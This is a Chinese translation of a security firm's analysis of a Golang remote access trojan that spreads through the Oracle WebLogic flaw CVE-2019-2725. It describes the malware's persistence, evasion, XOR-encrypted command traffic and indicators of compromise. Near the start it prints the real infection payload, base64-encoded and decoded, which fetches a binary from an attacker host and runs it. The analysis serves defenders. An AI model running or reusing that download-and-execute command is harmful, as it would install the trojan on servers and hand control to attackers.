譯者:知道創宇404實驗室翻譯組
原文鏈接:https://labs.bitdefender.com/2020/10/theres-a-new-a-golang-written-rat-in-town/
前言
Bitdefender的安全研究人員發現了一種新的Golang編寫的RAT,它利用CVE-2019-2725(Oracle WebLogic RCE)漏洞攻擊設備。與其他利用此漏洞的攻擊不同,它不會(至少目前還沒有)嘗試安裝cryptominer或部署其他惡意軟件。
Oracle在2019年4月公布了CVE-2019-2725漏洞的詳細信息,但在那之前就有關于該漏洞利用的報道了。這個CVE的CVSS分數為9.8。
攻擊過程
一些惡意軟件在試圖感染設備、跟蹤開放端口和使用普通憑據執行暴力攻擊時往往使用較少的技術手段,這種活動在大量的設備上都能起作用。
相比之下,這種惡意軟件在運行Oracle WebLogic服務器的特定目標上工作。這是一項通常不在前線的技術,因此用戶一般不知道它的存在。但是這類服務器非常普遍,它們是云的一部分,并且具有為用戶運行應用程序的能力。
Oracle WebLogic服務器通常不會暴露在網絡中,但并不是每個人都有安全意識。當CVE-2019-2725出現時,攻擊者可能會危害數萬個不安全的WebLogic服務器。
感染有效負載使用CVE,使攻擊者能夠訪問:
nohup echo Y3VybCBodHRwOi8vYm94LmNvbmYxZy5jb20vbC9zb2RkL1NlY3VyaXR5Lkd1YXJkIC1vIC90bXAvcHJvYy50bXAgfHwgd2dldCAtYyAtdCAyMCBodHRwOi8vYm94LmNvbmYxZy5jb20vbC9zb2RkL1NlY3VyaXR5Lkd1YXJkIC1PIC90bXAvcHJvYy50bXAgOyBjaG1vZCAwNzU1IC90bXAvcHJvYy50bXAgO25vaHVwIC90bXAvcHJvYy50bXAgPiAvZGV2L251bGwgMj4mMSAmCg== | base64 -d | /bin/bash > /dev/null 2>&1 &;
base64在文本格式中:
curl http://box.conf1g.com/l/sodd/Security.Guard -o /tmp/proc.tmp || wget -c -t 20 http://box.conf1g.com/l/sodd/Security.Guard -O /tmp/proc.tmp ; chmod 0755 /tmp/proc.tmp ;nohup /tmp/proc.tmp > /dev/null 2>&1 &
該特定版本在Linux和x86架構上運行,但是由于RAT可以在Golang中開發,攻擊者可以輕松地為其他操作系統和架構編譯版本。
RAT進入服務器
如有效負載所示,該惡意軟件帶有兩個為Golang編寫的二進制文件Security.Guard和Security.Script,它們是針對x86編譯的。第一個打包了UPX(一種支持多種操作系統的開源可執行打包程序)。
這是功能的更詳細說明:
- Package main: C:/Go/Guard/src/Main
- File: GuardMain.go
init Lines: 30 to 32 (2)
LoadEnv Lines: 80 to 95 (15)
ReceiveSignal Lines: 95 to 109 (14)
init0 Lines: 109 to 138 (29)
InstallStartUp Lines: 138 to 168 (30)
copyToFile Lines: 168 to 197 (29)
ChangeSelfTime Lines: 197 to 207 (10)
ExecShell Lines: 207 to 217 (10)
Download Lines: 217 to 249 (32)
GetVersion Lines: 249 to 291 (42)
killLockFile Lines: 291 to 302 (11)
killRepeat Lines: 302 to 337 (35)
run Lines: 337 to 437 (100)
IsDir Lines: 437 to 448 (11)
GuardProc Lines: 448 to 479 (31)
Md5Sum Lines: 479 to 495 (16)
Update Lines: 495 to 523 (28)
main Lines: 523 to 527 (4)
mainfunc1 Lines: 527 to 537 (10)
- Package main: C:/Users/john/Desktop/NiuB/Linux&C#/src/Linux/Main
- File: Main.go
init0 Lines: 54 to 71 (17)
main Lines: 71 to 125 (54)
ReceiveSignal Lines: 125 to 141 (16)
MakeOnlineInfo Lines: 141 to 176 (35)
Encrypt Lines: 176 to 186 (10)
Md5Sum Lines: 186 to 202 (16)
killLockFile Lines: 202 to 217 (15)
killRepeat Lines: 217 to 246 (29)
MakeUUID Lines: 246 to 268 (22)
GetOsInfo Lines: 268 to 308 (40)
GetIPs Lines: 308 to 343 (35)
InitStart Lines: 343 to 351 (8)
Download Lines: 351 to 387 (36)
ExecShell Lines: 387 to 400 (13)
ChangeSelfTime Lines: 400 to 411 (11)
SetTimeOut Lines: 411 to 418 (7)
MsgProcess Lines: 418 to 444 (26)
Security.Guard二進制文件具有三個功能:下載RAT,對其進行初始化并確保其保持運行狀態。它在感染后仍然存在,因為它通過查詢托管服務器上的URL(l/sodd/ver)來監視版本更改,它從中解析兩個md5值。如果這些哈希值與Guard和RAT之一不同,二進制文件將更新并重新啟動。
有趣的是,Guard和RAT都執行了singleton屬性,這意味著該設備上只能運行單個惡意軟件。該惡意軟件使用兩種方法來保持唯一。首先,它將PID存儲在lock file中,從而使其可以終止新的相同進程。其次,它檢查運行過程以識別同一惡意軟件的其他實例。

此外,Guard使用相同的過程迭代代碼來檢查RAT是否正在運行,否則將重新啟動它。為了識別進程,該例程對每個進程在/proc/<PID>/exe文件上執行md5哈希,并將其與RAT二進制文件的已知哈希進行比較。
當然,該惡意軟件還使用逃避技術。它在過去使用以下兩個規則之一設置所有已創建文件的時間戳:
2012-12-21 12:31:092018-10-11 18:52:46
Guard運行一個持久腳本,該腳本將啟動腳本植入依賴于Linux發行版的位置。在這種情況下,腳本支持CentOS,Ubuntu和Debian。
RAT連接到C2,發送包含系統指紋信息的簽入消息,然后偵聽命令。發送回操作員的數據包括設備的硬件,操作系統和IP。與C2的通信使用具有密鑰0x86的簡單XOR密碼進行加密。

它僅支持兩個命令,但為攻擊者提供了機會:
- COMMAND (execute shell commands)
- DOWNLOAD (download and run binary)
該RAT似乎與去年報道的PowerGhost活動有關。兩者共享托管服務器,URI和bash腳本中的部分代碼。
盡管通過CVE-2019-2725傳播的有效負載托管在不同的URI中,但以前的報告中包含了l/sodd/syn和l/sodd/udp,現在也托管了Security.Guard版本。
持久性腳本保留了去年報告的部分有效負載。盡管較新的活動缺乏橫向移動和特權升級功能,但Golang惡意軟件似乎處于開發的早期階段。即便如此,攻擊者仍然能夠下載并運行他們選擇的任何二進制文件。
附加信息
URLs:
hxxp://box.conf1g.com/l/sodd/Security.Guard
hxxp://box.conf1g.com/l/sodd/Security.Script
hxxp://box.conf1g.com/l/sodd/ver
C2:
log.conf1g[.]com:53
IPs:
185.128.41[.]90(ZoomEye搜索結果)
185.234.218[.]247(ZoomEye搜索結果)
Hashes:
e457b6f24ea5d3f2b5242074f806ecffad9ab207
add4db43896f65d096631bd68aa0d1889a5ff012
5b2275e439f1ffe5d321f0275711a7480ec2ac90
fc594723788c545fae34031ab6abe1e0a727add4
26a70988bd873e05018019b4d3ef978a08475771
Filenames:
/var/tmp/…/.esd-644/auditd
/bin/.securetty/.esd-644/auditd
/usr/sbin/abrtd
devkit-power-daemon
.nginx.lockfile
.httpd.lockfile
.1e8247d9f7f3f4fe8f1c097094d7ff08
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1357/
暫無評論